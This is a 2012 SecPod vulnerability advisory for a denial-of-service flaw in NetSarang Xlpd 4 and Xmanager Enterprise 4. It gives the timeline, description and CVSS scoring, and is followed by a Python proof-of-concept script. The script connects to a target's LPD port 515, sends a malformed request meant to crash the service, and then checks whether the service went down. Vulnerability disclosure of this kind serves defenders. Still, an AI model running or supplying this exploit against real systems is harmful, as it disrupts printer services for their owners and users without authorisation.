############################################################################## # # Title : NetSarang Xlpd Printer Daemon Denial of Service Vulnerability # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com) # Vendor : http://www.netsarang.com # Advisory : http://secpod.org/blog/?p=457 # http://secpod.org/advisories/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS_Vuln.txt # http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py # Software : NetSarang Xlpd 4 Build 0100 and NetSarang Xmanager Enterprise 4 Build 0186 # Date : 01/02/2012 # ############################################################################## SecPod ID: 1033 14/12/2011 Issue Discovered 20/01/2012 Vendor Notified No Response 01/02/2012 Advisory Released Class: Denial Of Service Severity: Medium Overview: --------- NetSarang Xlpd Printer Daemon version 4 is prone to a denial of service vulnerability. Technical Description: ---------------------- The vulnerability is caused due to improper validation of malicious LPD request sent to printer daemon, which allows remote attackers to crash the service. Impact: -------- Successful exploitation could allow an attacker to cause denial of service condition. Affected Software: ------------------ NetSarang Xlpd 4 Build 0100 NetSarang Xmanager Enterprise 4 Build 0186 Tested on: ----------- NetSarang Xlpd 4 Build 0100 on Windows XP SP3. NetSarang Xmanager Enterprise 4 Build 0186 on Windows XP SP3. Older versions might be affected. References: ----------- http://www.netsarang.com http://secpod.org/blog/?p=457 Proof of Concept: ---------------- http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py Solution: ---------- Not available Risk Factor: ------------- CVSS Score Report: ACCESS_VECTOR = NETWORK ACCESS_COMPLEXITY = LOW AUTHENTICATION = NOT_REQUIRED CONFIDENTIALITY_IMPACT = NONE INTEGRITY_IMPACT = NONE AVAILABILITY_IMPACT = PARTIAL EXPLOITABILITY = PROOF_OF_CONCEPT REMEDIATION_LEVEL = UNAVAILABLE REPORT_CONFIDENCE = CONFIRMED CVSS Base Score = 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P) Risk factor = Medium Credits: -------- Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this vulnerability. #!/usr/bin/python ############################################################################## # # Title : NetSarang Xlpd Printer Daemon Denial of Service Vulnerability # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com) # Vendor : http://www.netsarang.com # Advisory : http://secpod.org/blog/?p=457 # http://secpod.org/advisories/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS_Vuln.txt # http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py # Software : NetSarang Xlpd 4 Build 0100 and NetSarang Xmanager Enterprise 4 Build 0186 # Date : 01/02/2012 # ############################################################################## import socket,sys,time port = 515 if len(sys.argv) < 2: print "\n[-] Usage: %s <target addr>" % sys.argv[0] sys.exit(0) target = sys.argv[1] sockObj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: sockObj.connect((target,port)) except: print "\n[-] Xlpd service is down." sys.exit(0) sockObj.send("crap"+"LF") sockObj.send("LF") #Will wait for a while time.sleep(5) sockObj.close() try: sockObj.connect((target,port)) except: print "\n[-] Xlpd service is crashed, unble to connect" sys.exit(0)